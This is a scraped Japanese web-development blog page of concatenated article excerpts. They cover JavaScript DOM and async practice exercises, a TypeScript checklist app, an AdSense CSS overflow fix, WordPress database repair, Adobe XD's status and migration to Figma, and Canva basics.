HTML： <button id="btn6">3秒後に表示</button> <p id="msg6"></p> JavaScript解答 document.getElementById('btn6').addEventListener('click', () => { document.getElementById('msg6').textContent = '3秒待ってください...'; setTimeout(() => { document.getElementById('msg6').textContent = 'こんにちは！'; }, 3000); }); 練習問題⑦：ローディング表示 → API取得後に表示 ボタンをクリックすると「読み込み中...」と表示され、取得完了後にタイトルを表示します。 HTML： <button id="btn7">データを取得</button> <p id="result7"></p> JavaScript解答 document.getElementById('btn7').addEventListener('click', async () => { const result = document.getElementById('result7'); result.textContent = '読み込み中...'; try { const res = await fetch('https://jsonplaceholder.typicode.com/todos/1'); const data = await res.json(); result.textContent = '取得したタイトル：' + data.title; } catch (e) { result.textContent = 'エラーが発生しました'; } }); 練習問題⑧：ボタン連打を防ぐ（多重実行対策） 通信中はボタンを無効化し、完了後に再度有効化します。 HTML： <button id="btn8">送信する</button> <p id="status8"></p> JavaScript解答 const btn8 = document.getElementById('btn8'); const status8 = document.getElementById('status8'); btn8.addEventListener('click', async () => { btn8.disabled = true; status8.textContent = '送信中...'; await new Promise(resolve => setTimeout(resolve, 2000)); // 疑似送信処理 status8.textContent = '送信完了！'; btn8.disabled = false; }); 練習問題⑨：データをPOST送信して結果を表示 名前を入力して送信ボタンを押すと、APIにPOSTし「送信完了」メッセージを表示します。 HTML： <input type="text" id="nameInput9" placeholder="名前を入力" /> <button id="btn9">送信</button> <p id="status9"></p> JavaScript解答 document.getElementById('btn9').addEventListener('click', async () => { const name = document.getElementById('nameInput9').value; const status = document.getElementById('status9'); status.textContent = '送信中...'; try { await fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', body: JSON.stringify({ name }), headers: { 'Content-Type': 'application/json' } }); status.textContent = `送信完了！こんにちは、${name}さん！`; } catch (e) { status.textContent = '送信に失敗しました'; } }); 練習問題⑩：ユーザーID入力でAPIから情報を取得 ユーザーID（1〜10）を入力してそのユーザーの名前を取得し表示します。 ### [JavaScript DOM操作の練習問題10選｜解答付き！](https://codequest.work/javascript-dom-practice-questions/) JavaScript JavaScript練習問題シリーズ DOM DOM（Document Object Model）は、HTMLやXMLドキュメントをJavaScriptで操作するための仕組みです。HTMLは本来「マークアップされたテキスト」に過ぎませんが、ブラウザはこれを構造化してツリー状のオブジェクト（DOMツリー）に変換します。 このDOMツリー上の各要素（<div>、<p>、<button>など）は、JavaScriptから「オブジェクト」としてアクセスでき、以下のような操作が可能になります： 要素の取得 テキストの変更 クラスの追加・削除 要素の追加・削除 イベントの検知（クリックなど） つまり、「HTMLを動かすためのインターフェース」としての役割を果たしており、JavaScript学習においてDOM操作は基礎中の基礎といえます。 今回は、DOMの基本操作をしっかり理解できるように、練習問題を10問用意しました。また、すべての問題に HTML構造と script.js に分けた解答例 をつけており、模写しながらしっかり学べます。 本記事の10問は、ブラウザ上でコードを書いてその場で実行できるクイズ版「JavaScript DOM操作クイズ」でも解けます。問題ごとのHTMLが入ったプレビューを実際に操作しながら、この10問に加えてアプリ限定ドリル10問（計20問）を練習できます。 JS-DOM練習アプリ ① HTML： <p id="text1">こんにちは！</p> <button id="btn1">テキスト変更</button> JavaScript解答 document.getElementById('btn1').addEventListener('click', () => { document.getElementById('text1').textContent = 'こんにちはJavaScript！'; }); ② HTML： <div id="box2" style="background: #eee; padding: 1rem;">このボックスを非表示</div> <button id="btn2">非表示にする</button> JavaScript解答 document.getElementById('btn2').addEventListener('click', () => { document.getElementById('box2').style.display = 'none'; }); ③ HTML： <input type="text" id="input3" placeholder="入力してください"> <button id="btn3">表示する</button> <p id="output3"></p> JavaScript解答 document.getElementById('btn3').addEventListener('click', () => { const inputValue = document.getElementById('input3').value; document.getElementById('output3').textContent = inputValue; }); ④ HTML： <ul id="list4"> <li>既存の項目</li> </ul> <button id="btn4">追加する</button> JavaScript解答 document.getElementById('btn4').addEventListener('click', () => { const li = document.createElement('li'); li.textContent = '新しい項目'; document.getElementById('list4').appendChild(li); }); ⑤ HTML： <ul id="list5"> <li>1つ目</li> <li>2つ目</li> <li>3つ目</li> </ul> <button id="btn5">最後を削除</button> JavaScript解答 document.getElementById('btn5').addEventListener('click', () => { const list = document.getElementById('list5'); if (list.lastElementChild) { list.removeChild(list.lastElementChild); } }); ⑥⑩UIWebDOM ⑥toggle ボタンをクリックするたびに、背景色が切り替わるように .active クラスをトグルで付け外しします。 HTML： <div id="toggleBox" class="box">クラスをトグル</div> <button id="btn6">トグル</button> <style> .box { padding: 1rem; background-color: lightgray; } .active { background-color: lightgreen; } </style> JavaScript解答 document.getElementById('btn6').addEventListener('click', () => { document.getElementById('toggleBox').classList.toggle('active'); }); ⑦ クリックするたびに、ランダムな画像に切り替わるように src 属性を変更します。 HTML： <img id="image7" src="https://picsum.photos/200?random=1" alt="ランダム画像"> <button id="btn7">画像を変更</button> JavaScript解答 document.getElementById('btn7').addEventListener('click', () => { document.getElementById('image7').src = 'https://picsum.photos/200?random=' + Math.floor(Math.random() * 100); }); ⑧ ボタンをクリックすると、対応するコンテンツだけが表示されるタブUIを作成します。 HTML： <div class="tabs"> <button class="tab" data-tab="tab1">タブ1</button> <button class="tab" data-tab="tab2">タブ2</button> </div> <div id="tab1" class="tab-content">タブ1の内容</div> <div id="tab2" class="tab-content hidden">タブ2の内容</div> <style> .hidden { display: none; } </style> JavaScript解答 const tabs = document.querySelectorAll('.tab'); const contents = document.querySelectorAll('.tab-content'); tabs.forEach(tab => { tab.addEventListener('click', () => { const target = tab.dataset.tab; contents.forEach(content => content.classList.add('hidden')); document.getElementById(target).classList.remove('hidden'); }); }); ⑨ モーダルを開くボタンと閉じるボタン、背景クリックでも閉じるようにします。 HTML： <button id="openModal">モーダルを開く</button> <div id="modal" class="modal hidden"> <div class="modal-content"> <p>これはモーダルです</p> <button id="closeModal">閉じる</button> </div> </div> <style> .modal { position: fixed; inset: 0; background: rgba(0,0,0,0.6); display: flex; justify-content: center; align-items: center; } .modal-content { background: white; padding: 2rem; border-radius: 8px; } .hidden { display: none; } </style> JavaScript解答 const modal = document.getElementById('modal'); document.getElementById('openModal').addEventListener('click', () => { modal.classList.remove('hidden'); }); document.getElementById('closeModal').addEventListener('click', () => { modal.classList.add('hidden'); }); modal.addEventListener('click', (e) => { if (e.target === modal) { modal.classList.add('hidden'); } }); ⑩ 質問をクリックすると答えが開く。もう一度クリックすると閉じるように実装します。 ### [TypeScriptで作る！チェックリストアプリ｜ローカル保存＆編集機能](https://codequest.work/typescript-checklist-app/) TypeScriptでチェックリストアプリを作るという作業の中身は、型が付いていない2つの入口に、自分で境界線を引くことです。document.getElementById() は HTMLElement | null を返し、JSON.parse() は any を返します。この2か所をどう受け止めるかで、コードが strict を通るかどうかも、リロード後にデータが壊れるかどうかも決まります。 この記事では、ローカル保存つきのチェックリストアプリを HTML → TypeScript本体 → tsconfig.json → npx tsc → ブラウザで保存されているかを目視確認 の順に、途中を飛ばさず作ります。掲載しているTypeScriptは実際に tsc --strict（TypeScript 5.9.3）にかけてエラー0を確認したものです。 あわせて、型なしのJavaScriptをそのまま .ts に置き換えると strict で30件超のエラーが出る、その内訳と直し方も扱います。JavaScriptだけで小さなアプリを組み立てる流れは JavaScriptミニアプリの作り方 にまとめてあるので、型なし版と読み比べると差分がはっきりします。 作るもの：ローカル保存つきチェックリスト 完成品は チェックリスト作成ツール でそのまま動かせます。タスクを追加したあとブラウザを閉じ、開き直しても内容が残る——それが今回のゴールです。 テキストを入力してタスクを追加（Enterキー対応、Shift+Enterで改行） チェックすると取り消し線が付き、完了タスクはリストの下へ移動 editボタンでその場編集、delボタンで削除 操作のたびにlocalStorageへ保存し、リロードしても復元される 使うものこの記事での役割TypeScript 5系アプリ本体のロジック。interface と型ガードで、扱うデータの形を固定するtsc（TypeScriptコンパイラ）.ts を .js に変換する。出力するJavaScriptの文法水準は tsconfig.json の target で決まるHTML5 / CSS入力欄・リスト・見た目。TypeScript側は3つの id だけを手がかりにするWeb Storage API（localStorage）タスクの永続化。文字列しか保存できないので JSON.stringify / JSON.parse を挟むNode.js + npmtsc を動かすための実行環境 ブラウザだけで完結させたい場合の選択肢は ブラウザで完結するコーディング環境 にまとめていますが、tsc を回すこの記事の手順ではNode.jsをインストールしたローカル環境を前提にします。 HTMLとCSSの土台をつくる TypeScript側は taskInput / addBtn / taskList という3つの id を手がかりにDOMを取得します。ロジックより先に、この3つを持つHTMLを用意します。 index.html <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Check List</title> <link rel="stylesheet" href="style.css" /> </head> <body> <div class="container"> <h1>Check List</h1> <div class="input-area"> <textarea id="taskInput" placeholder="タスクを入力" rows="1"></textarea> <button id="addBtn">add</button> </div> <ul id="taskList"></ul> </div> <!-- 読み込むのは src/app.ts ではなく、コンパイル後の dist/app.js --> <script type="module" src="./dist/app.js"></script> </body> </html> 重要なのは最終行です。<script type="module" src="./dist/app.js"> が読み込むのはコンパイル後のJavaScriptで、これから書く src/app.ts ではありません。.ts をそのまま <script> で指定してもブラウザは解釈できず、何も起きません。 ファイル役割index.html画面。3つの id と dist/app.js の読み込みを持つstyle.css見た目。done クラスの表示だけTypeScript側と対応しているtsconfig.jsonコンパイル設定src/app.ts自分が書くTypeScriptdist/app.jstsc が生成するJavaScript。手で編集しない style.css（最小限） 見た目は好みで構いませんが、完了タスクの表現だけはTypeScript側と対応しています。li と span に done クラスを付ける処理を書くので、そのスタイルを用意しておきます。 body { margin: 0; padding: 24px 16px; background: #1e1f24; color: #f2f2f2; font-family: system-ui, sans-serif; font-size: 16px; } .container { max-width: 600px; margin: 0 auto; } .input-area { display: flex; gap: 8px; } #taskInput { flex: 1; padding: 12px; font-size: 16px; resize: none; } #taskList { list-style: none; padding: 0; margin-top: 24px; } #taskList li { display: flex; align-items: center; gap: 8px; padding: 12px 0; border-bottom: 1px solid #3a3b42; } #taskList li.done { opacity: 0.5; } #taskList span.done { text-decoration: line-through; } #taskList span { flex: 1; } button { padding: 8px 12px; font-size: 16px; cursor: pointer; } TypeScript本体を書く src/app.ts を4つのパーツに分けて見ていきます。順に「タスクの型」「DOM取得」「保存と読み込み」「キー操作」で、最後に全体を通しで載せます。 タスク1件の型を決める // タスク1件の形。この記事の型の起点になる interface Task { id: number; text: string; done: boolean; } ここが型の起点です。以降に出てくる「タスクの配列」「保存する値」「localStorageから読み戻した値」は、すべてこの Task に照らして扱います。逆に言えば、この形を決めずに let tasks = []; と書き始めると、配列の中身が any のまま最後まで押し切られて型の恩恵が消えます。 DOM要素を「nullでない具体型」に絞る // getElementById は HTMLElement | null を返す。 // ここで null を落として、同時に具体的な要素型へ絞り込む function requireElement<T extends HTMLElement>(id: string): T { const el = document.getElementById(id); if (el === null) { throw new Error(`要素が見つかりません: #${id}`); } return el as T; } const taskInput = requireElement<HTMLTextAreaElement>("taskInput"); const addBtn = requireElement<HTMLButtonElement>("addBtn"); const taskList = requireElement<HTMLUListElement>("taskList"); document.getElementById() の戻り値は HTMLElement | null です。TypeScriptはHTMLファイルを読まないので、そのidの要素が本当に存在するかを知る手段がなく、常にnullの可能性を残します。さらに戻り値は基底型の HTMLElement なので、value・selectionStart・setSelectionRange といった textarea 固有のメンバーには触れません。 そこで、起動時に一度だけnullを落とし、同時に具体型へ絞る関数を通します。as HTMLTextAreaElement は「この要素はtextareaだとコンパイラに申告する」だけの操作で、実行時の検査はしません。HTML側のタグを書き換えると申告が嘘になるので、idが見つからない時点で throw して早い段階で気づけるようにしています。DOM操作そのものに慣れていない場合は JavaScript DOM操作の練習問題 で手を動かしてから戻ってくると読みやすくなります。 ### [AdSense 横スクロール問題の解決方法【CSSで簡単に解決】](https://codequest.work/adsense-horizontal-scroll-fix/) はじめに Google AdSenseを設置したときに、広告がはみ出して 横スクロールバーが出てしまう トラブルはよくあります。特にレスポンシブ広告ユニットをPCやスマホに組み込むと、CSSの設定次第で横スクロールが発生し、レイアウトが崩れてしまうことがあります。 本記事では、横スクロールを防ぐための実務的な対策を紹介します。 現象の詳細 AdSense広告をWordPressのサイドバーに追加した直後から、スマホ表示で横スクロールが発生 ページ全体が右にズレて、UX的にも非常に悪い状態 body { overflow-x: hidden; } では一時的に隠せるが、根本的な解決にはならない Chromeの検証ツールでbodyを選択してみると、幅をオーバーしている要素がサイドバー内に存在していることがわかりました。 原因の特定：犯人はAdSense広告！ サイドバーを一時的に非表示にしてみたところ、横スクロールが完全に消えました。 さらに調査してみると、AdSenseが自動的に出力する <ins> タグ（広告ブロック）が、スマホ画面より広いサイズで表示されていたのが原因でした。 <ins class="adsbygoogle" style="display:block" data-ad-client="..." data-ad-slot="..." data-full-width-responsive="true"></ins> このように、data-full-width-responsive="true" が指定されていても、CSSで制御しないと幅を突き抜けてしまうことがあります。 解決策：CSSで広告要素を強制的に制限 以下のCSSを追加することで、横スクロールが完全に解消されました。 ※class名は置き換えてください .sidebar img, .sidebar iframe, .sidebar ins { max-width: 100%; height: auto; display: block; } .ad-container-sideber { max-width: 100%; overflow-x: hidden; } .ad-container-sideber ins { width: 100% !important; max-width: 100% !important; display: block !important; } ポイントは !important を使って強制的に上書きすること。 AdSenseはJavaScriptによって広告があとから描画されるため、通常のCSS指定では効かないことがあります。 まとめ スマホ表示で横スクロールが出るときは、まず 「画面より大きい要素がないか」 を疑う AdSense広告は、思っている以上に 幅を超えてくる ことがある max-width: 100% と !important を併用してCSSで制御するのが一番シンプルで確実な方法 AdSenseによる表示崩れは見落とされがちですが、対処方法さえわかればすぐに解決できます。 同じように困っている方の助けになれば嬉しいです！ 実務Tips（ベストプラクティス集） 広告コンテナに最大幅を設定する 親要素の幅を超えないようにして、横スクロールを防ぎます。 iframe にもレスポンシブ対応を付与するAdSenseの広告はiframeで読み込まれるため、親要素のスタイルだけでなく、広告自体をCSSで調整する必要があります。 PC・スマホでの動作を必ず確認Chrome DevToolsなどを使い、複数のデバイス幅で広告がはみ出していないかを確認しましょう。 横スクロールが発生する場合の緊急回避策 サイト全体で横スクロールを禁止する方法。ただし、根本解決にはならないため、最終手段としてのみ利用します。 よくある質問 Q. なぜAdSense広告で横スクロールが出てしまうのですか？ A. レスポンシブ広告が親要素より大きく描画される場合があるためです。特に横幅指定が不適切な場合に起こりやすいです。 Q. body全体に overflow-x: hidden; をかけても大丈夫ですか？ A. 一時的な回避策としては有効ですが、必要な要素まで隠れてしまうリスクがあるため、推奨されません。広告コンテナごとに調整するのがベストです。 Q. WordPressで簡単に対応できますか？ A. はい。テーマの追加CSSやカスタムHTMLブロックにスタイルを記述することで対応可能です。 Q. レスポンシブ広告と固定サイズ広告はどちらがいいですか？ A. レイアウト崩れを避けたい場合は固定サイズ広告が安定しますが、収益性や表示最適化を考えるとレスポンシブ広告が推奨されます。 よくある質問（FAQ） Q. AdSense広告で横スクロールが発生する原因は？ AdSense広告のiframeやdivの幅がコンテナの幅を超えている場合に発生します。特にモバイル表示で発生しやすく、広告コードが固定幅で出力されるケースが原因です。 Q. AdSenseの横スクロール問題をCSSで解決する方法は？ 広告を囲むコンテナにoverflow: hiddenまたはmax-width: 100%を指定します。.adsbygoogle { max-width: 100%; overflow: hidden; } のように設定すれば、広告がコンテナ幅を超えることを防げます。 ### [WordPressで「データベース接続エラー」が出たときの対処法｜破損が原因の場合の修復ガイド](https://codequest.work/database-connection-error-repair/) WordPressサイトにアクセスしたとき、画面に「データベース接続確立エラー」という文字だけが表示されると焦りますよね。 これは、WordPressがデータベースと通信できないときに発生するエラーで、原因はいくつかありますが、今回はその中でも 「データベースの破損」 にフォーカスして、修復方法をわかりやすく解説します。 データベース接続エラーとは？ WordPressはデータベース（MySQL）を使って記事・固定ページ・テーマ設定などの情報を管理しています。 この「データベースに接続できない」とき、以下のようなエラーメッセージが表示されます。 Error establishing a database connection このエラーが出たとき、最も多い原因の一つが データベースの破損 です。 原因が「データベースの破損」の可能性が高いケース WordPress管理画面 /wp-admin にアクセスすると違うエラーメッセージが表示される サイト訪問者側と管理者画面側で異なる挙動 急に記事が表示されなくなった プラグインやテーマ更新後に発生した 【ステップ解説】WordPressデータベースを修復する方法 ステップ1：wp-config.php に修復モードを有効化 FTPやサーバーのファイルマネージャーから、WordPressルートディレクトリにある wp-config.php を編集します。 // この1行を最終行の上に追加 define('WP_ALLOW_REPAIR', true); ステップ2：修復ページにアクセス 次のURLをブラウザで開きます： https://あなたのドメイン/wp-admin/maint/repair.php すると、次のような画面が表示されます： データベースを修復 データベースを修復して最適化 どちらかをクリックして修復を実行します。 ステップ3：完了後は設定を戻す 修復が完了したら、セキュリティのために先ほどの1行を削除してください。 // define('WP_ALLOW_REPAIR', true); ← 削除！ 修復しても直らない場合のチェックリスト チェック項目確認ポイントDBユーザーとパスワードwp-config.php の値が正しいか？phpMyAdminにログインできるか？DB自体が生きているか確認サーバー容量容量不足で動作していない場合も.htaccess不要なリダイレクトがないか確認バックアップ復元サーバー提供のバックアップを利用する選択もあり 実務Tips（ベストプラクティス集） サーバー情報をまず確認する wp-config.php 内の データベース名・ユーザー名・パスワード・ホスト名 を必ず再確認。 レンタルサーバー移行時やパスワード変更後に誤りがあるケースが多いです。 サーバー負荷をチェックする アクセス集中やプラグインの暴走で MySQLサーバーがダウン している場合があります。 管理画面やサーバー会社のステータスページを確認しましょう。 プラグイン・テーマを一時停止する FTPやサーバー管理画面から plugins フォルダをリネームし、プラグインが原因か切り分けます。 サーバー側のエラーログを活用する error_log をチェックすると、DB接続が拒否された理由やタイムアウト情報がわかります。 定期的なバックアップ運用 万一DBが破損しても、バックアップがあれば復旧が早いです。 プラグイン（例: UpdraftPlus）やサーバー標準のバックアップ機能を活用しましょう。 【検証】修復できたかを確認する サイトが表示されたら終わり、ではありません。修復モードを有効にしたままだと、URLを知っている誰でも修復ページにアクセスできる状態になります。必ず後始末まで確認してください。 確認手順と合否ライン トップページと記事ページの両方を開く。合否＝どちらもエラーなく表示されること。トップだけ直っているケースがあります 管理画面にログインして投稿一覧を開く。合否＝記事数が修復前と一致していること。テーブル破損では投稿が消えることがあります wp-config.php から修復モードの記述を削除したか確認する。合否＝修復ページのURLを開いて「アクセスできません」と表示されること 修復直後にバックアップを取る。合否＝復元可能なバックアップが1つ以上あること 3番目を忘れる事故が最も多いです。修復モードは認証なしでアクセスできる仕様のため、有効なまま放置するとセキュリティリスクになります。復旧してほっとした直後こそ確認してください。 再発を防ぐ運用 再発の引き金兆候打ち手アクセス集中によるDB負荷特定時間帯だけエラーが出るキャッシュを導入し、サーバープランを見直すプラグインの不具合更新直後から発生した直前に更新したプラグインを特定して停止するDB容量の逼迫リビジョンやログが肥大化不要なリビジョン・トランジェントを整理するサーバー移転時の設定漏れ移転直後から発生DB名・ユーザー・パスワード・ホスト名を再確認する 表示速度やサーバー負荷の測り方はPageSpeed Insightsの見方と改善実務、WordPress運用全般はWordPress実践ガイドにまとめています。 まとめ WordPressで「データベース接続エラー」が出たとき、データベースの破損が原因であれば、今回紹介した wp-config.php の修復モードが非常に効果的です。 焦らず、1ステップずつ確認していけば多くのケースで回復が可能です。どうしても解決しない場合は、レンタルサーバーのサポートに相談するのも早道ですよ。 ※定期的なバックアップやプラグインの整理も、こういったトラブルを未然に防ぐために大切です。 よくある質問（FAQ） Q. WordPressの「データベース接続エラー」とは？ WordPressがMySQLデータベースに接続できない場合に表示されるエラーです。wp-config.phpのDB情報の誤り、データベースサーバーのダウン、データベースの破損が主な原因です。 Q. データベース接続エラーの対処手順は？ 1. wp-config.phpのDB_NAME・DB_USER・DB_PASSWORD・DB_HOSTを確認、2. phpMyAdminでデータベースにアクセスできるか確認、3. wp-config.phpにdefine("WP_ALLOW_REPAIR", true)を追加して/wp-admin/maint/repair.phpにアクセスし修復を試みる、の順で対処してください。 Q. 「データベース接続確立エラー」が急に出ました。原因は？ A. 多くは wp-config.php の設定誤りや、MySQLサーバーがダウンしているケースです。 Q. サイトを開けない場合でも管理画面に入れますか？ A. いいえ。DB接続エラーはフロント・管理画面どちらも影響します。FTP経由で対応しましょう。 Q. サーバー移転後にエラーが出たのですが？ A. 新しいサーバーのDB情報（ユーザー名・パスワード・ホスト名）に変更されていない可能性があります。 Q. WordPress以外の要因はありますか？ A. あります。レンタルサーバーのメンテナンスやMySQLの一時停止が原因のこともあります。 Q. 自力で修復できない場合はどうすればいいですか？ A. サーバー会社のサポートに連絡し、エラーログを提示するのが最速です。 ### [Adobe XDの現在地とXD資産の移行判断｜Figmaへ移すか据え置くか](https://codequest.work/figma-adobexd-tutorial/) Adobe XDは、アドビ公式サイト上に新規購入の導線が公開されておらず、新機能を伴う更新も2023年6月のバージョン57で止まっているデザインツールです。ただしバグ修正のリリースは2026年5月のバージョン61まで続いており、公式ヘルプも公開されたままなので、サポートが終了したわけではありません。 この記事は、これからデザインツールを選ぶ人ではなく、すでに手元に .xd ファイルを抱えている人に向けて書いています。過去案件のデザインカンプ、クライアントから支給された画面データ、まだ社外に配ったままの共有リンク。そうした資産をこの先どう扱うかを決めるための材料をまとめました。 やることは3つです。ひとつめは、Adobe XDが今どういう状態にあるのかを一次情報で確認すること。ふたつめは、その状態をあなた自身の環境で確かめる手順を持って帰ること。みっつめは、手元の資産をFigmaへ移すか据え置くかを、決められる形の基準に落とすことです。据え置くと決めた場合に「いつ壊れるか」を自分で監視する方法も後半に置きました。 先に、この記事が書かないことも明示しておきます。「アドビが販売終了を発表した」とは書きません。そう宣言している公式ページを見つけられなかったからです。「サポートが終了した」とも書きません。2026年5月にバグ修正リリースが出ている以上、それは事実に反します。この記事に書いてあるのは、公開されているページを実際に開いて確認できた状態と、その確認日だけです。 Adobe XDの現在地｜購入導線は公開されておらず、サポートは終わっていない 以下はすべて2026年8月2日に、実際のブラウザで各ページを開いて確認した内容です。アドビのサイトは自動取得をブロックするため、コマンドラインのツールでは取得できませんでした。読者が同じ手順を踏めば同じ画面に到達できます。 製品ページと購入導線がどうなっているか 確認した場所開いた結果読み取れることアドビのAdobe XD製品ページヘルプセンターの「Adobe XD ヘルプ」に転送された単体の製品ページ・購入ページは公開されていないCreative Cloudの個人向けプラン一覧ページ本文に「Adobe XD」の記載が見当たらない個人向けプランの構成にXDが含まれていないXDヘルプのリリースアップデート最新はバージョン61（2026年5月）リリース自体は継続しているXDヘルプのよくある質問最終更新日は2023年10月12日説明文の側は更新が止まっているXDヘルプの必要システム構成最終更新日は2025年2月11日動作環境の情報は比較的新しい ここで重要なのは、「見つからなかった」と「存在しない」は違うということです。確認できたのは、公開されているページをたどって購入導線に到達できなかったという状態であって、アドビが販売を終了したという宣言ではありません。この記事はその線を越えません。 リリース履歴が示していること 公式ヘルプの「リリースアップデート」は、冒頭に「XD でリリースされた軽微なバグの修正と改善について説明します。」と書かれています。掲載されているバージョンを新しい順に並べると、次のようになります。 バージョンと公開時期公式ヘルプに書かれている内容バージョン61（2026年5月）バグ修正とワークフローのわずかな改善バージョン60（2025年12月）バグ修正とワークフローのわずかな改善バージョン59（2025年7月）バグ修正とワークフローのわずかな改善バージョン58（2025年2月）バグ修正とワークフローのわずかな改善バージョン57（2023年6月）レイヤーパネルの項目の折りたたみ、文字スタイルのパディング編集 つまり、新機能を伴う更新は2023年6月のバージョン57が最後で、それ以降の4回はいずれも同じ一文だけが並んでいます。「開発が止まっている」という表現はここでは正確ではありません。止まっているのは新機能の追加であって、リリースそのものは2026年5月まで続いています。 更新が続いているページと、止まっているページがある XDのヘルプはひとかたまりではありません。ページごとに最終更新日が違い、そこに温度差が出ています。 リリースアップデート：最終更新日 2026年6月1日。バージョン61まで追記されている 必要システム構成：最終更新日 2025年2月11日。macOS v13以降、Windows 10（バージョン21H2・22H2）およびWindows 11（バージョン21H2以降）、RAM 4GBと記載 よくある質問：最終更新日 2023年10月12日。メンテナンス状態や販売終了に関する記述は無い 製品の説明文は2023年で止まり、動作環境とリリース履歴だけが更新され続けている。これは「積極的に売る対象ではないが、動かし続けてはいる」状態の典型的な見え方です。後半の監視の章では、この最終更新日の並びをそのまま定点観測の指標として使います。 この記事が断定しないこと Adobe XDについては、断定した瞬間に誤りになる論点がいくつもあります。以下は意図的に結論を出していない項目です。ここを曖昧にしたまま「もう終わりました」と書く記事が多いので、あえて明示しておきます。 アドビが新規販売の終了を宣言したかどうか。そう明記した公式ページを見つけられなかったため、断定しない 現在のCreative Cloud契約者がXDをインストールできるかどうか。契約内容によって変わり、ログインしないと確認できないため断定しない（自分の環境で確かめる手順は次の章に置いた） いわゆる「メンテナンスモード」という言い方。ユーザーフォーラムの投稿には多く見かけるが、アドビの公式ヘルプ上では確認できなかったため使わない XDからFigmaへ変換するサードパーティ製プラグインの実際の動作。この記事では検証していないため、具体名を挙げた手順は書かない 出典は次の各ページです（いずれも2026年8月2日に取得）。Adobe公式ヘルプ「リリースアップデート」、Adobe公式ヘルプ「Adobe XD のよくある質問」、Adobe公式ヘルプ「Adobe XD の必要システム構成」、Adobe公式「Creative Cloud のプラン、価格、メンバーシップ」、Adobe公式のAdobe XD製品ページ。 自分の環境でAdobe XDの状態を確かめる3ステップ ここが、この記事を読んでその場で結論が出る部分です。他人が書いた「終わったらしい」を信じる必要はありません。所要は5分ほどで、必要なのはブラウザと、Creative Cloudを契約しているならそのデスクトップアプリだけです。ステップ1と2は誰でも実行でき、ステップ3で自分の契約に固有の答えが出ます。 ステップ1｜製品ページの転送先を見る アドビ公式のAdobe XD製品ページを開き、アドレスバーが最終的にどのURLで止まるかを見ます。前章の出典リンクからそのまま開けます。 合格ライン：ヘルプセンターの「Adobe XD ヘルプ」に転送されたら、購入ページは公開されていない状態です 外れた場合：転送されずに製品紹介と価格が並ぶページが表示されたら、この記事を書いた時点から状況が変わっています。表示されているアドビの公式情報を優先してください ステップ2｜プラン一覧をページ内検索する Creative Cloudの個人向けプラン一覧を開き、ブラウザのページ内検索（macOSはcommandとF、Windowsは control とF）で「XD」と入力します。単体プランのカードが並ぶページなので、そこに載っていないアプリは、個人が単体で契約する導線が用意されていないということになります。 合格ライン：ヒット0件なら、そのページ上にXDの契約導線は無いという確認になります 比較の材料：同じ一覧にはDreamweaverやAnimateといった、同じく主戦場から外れた印象のあるアプリが並んでいます。「古いから消えた」のではなく、XDだけが一覧から外れている点が読み取れます ステップ3｜Creative Cloudデスクトップアプリの一覧を見る ここが自分の契約でしか答えが出ない部分です。Creative Cloudデスクトップアプリを起動し、「すべてのアプリ」の一覧にAdobe XDが表示されるかを確認します。表示されればインストールでき、表示されなければその契約からは入手できません。 ひとつ注意点があります。アドビの公式FAQには「XDがCreative Cloudデスクトップアプリケーションに表示されないのはなぜですか？」という項目があり、新しいユーザーを作成した場合は表示されるまでに24〜48時間かかると書かれています。契約を切り替えた直後に一覧を見て「無い」と判断するのは早すぎます。ただしこの記述は2023年10月時点のもので、現在の挙動を保証するものではありません。 3ステップの結果をどう読むか 見えた状態意味次にやること製品ページが転送され、プラン一覧にも記載が無い公開されている導線からは新規に入手できない移すか据え置くかの判断に進むデスクトップアプリの一覧にXDが出る自分の環境では引き続き起動できる据え置きも選べる。監視の章へデスクトップアプリの一覧にXDが出ないその契約ではインストールできないXDが動く環境が社内に残っているうちに書き出しを済ませる製品ページが転送されず購入できる状態この記事の前提が変わっている記事の記述より、表示されている公式情報を優先する 3行目に当たった場合が、いちばん急ぎます。「開けない .xd がある」状態は、ファイルが残っていても資産としては失われているのと同じだからです。次の章で、まず何を数えるかを決めます。 手元のXD資産を棚卸しする 移行の話をいきなり始めると、たいてい「全部Figmaに入れ直すのは無理だ」で止まります。止まる理由は、移すべきものと、移さなくてよいものを分けていないからです。先に数えます。 資産は3種類に分かれる アドビ公式のXDよくある質問には、ファイル形式について次のように書かれています。ローカルに保存されるファイルの拡張子は .xd、クラウドドキュメントは .xdc という形式で、クラウドドキュメントはローカルファイルシステムには保存されない。この一文が棚卸しの出発点になります。 資産の種類どこにあるか手を打つ優先度ローカルの .xd ファイル自分のディスク、社内のファイルサーバー、外付けドライブ低い。手元にある限り、勝手には消えないクラウドドキュメント（.xdc）アドビのクラウド上。手元に実体が無い高い。自分では持っていない資産だと考える公開した共有リンクアドビの公開サービス上。社外の相手が見ている最も高い。切れると相手側の業務が止まる ディスクを検索して .xdc が1件も出てこないのは正常です。クラウドドキュメントはローカルには置かれないので、ファイル検索では棚卸しが完了しません。XDを起動して、クラウド側のドキュメント一覧を目視で確認する必要があります。 棚卸しの手順 ローカルと社内サーバーを .xd で全文検索し、ファイル名・案件名・最終更新日を一覧にする XDを起動してクラウドドキュメントの一覧を開き、ローカルの一覧に無いものを書き足す 公開中の共有リンクを洗い出し、まだ社外の誰かが見ている可能性があるものに印を付ける 各行に「今後も編集する可能性があるか」を、あり・なしの2択で入れる 編集の可能性が「なし」の行は、移行対象から外して閲覧用の書き出しだけを残す 実務で効くのは5番です。受託で溜まった .xd の大半は、納品済みで二度と編集しない画面です。それをFigmaに作り直す必要はありません。後から見返せる形（画像とPDF）で残せば十分で、これだけで移行対象は目に見えて減ります。 ### [CanvaとAdobe Expressの違いとは？初心者向けデザイン練習ガイド](https://codequest.work/canva-adobe-express-tutorial/) デザイン初心者でも簡単にSNS画像やバナーを作成できる「Canva」と「Adobe Express」。 「どちらを選べばいいの？」「初心者向けの練習方法が知りたい！」そんな方に向けて、両ツールの違いと活用方法を徹底解説します。公式チュートリアルのリンクもご紹介するので、この記事を見ながら実践できます。 Canvaとは Canvaの特徴 ブラウザベースでインストール不要 豊富なテンプレートと直感的な操作 無料プランでも多くの機能が利用可能 Canvaの主な機能 SNS投稿用のデザインが豊富 フォントやカラーのカスタマイズが簡単 アニメーション機能で目を引く動きがつけられる Canvaのおすすめ活用シーン InstagramやX（旧Twitter）の投稿画像 YouTubeのサムネイル プレゼン資料やチラシ作成 【Canva公式チュートリアル】 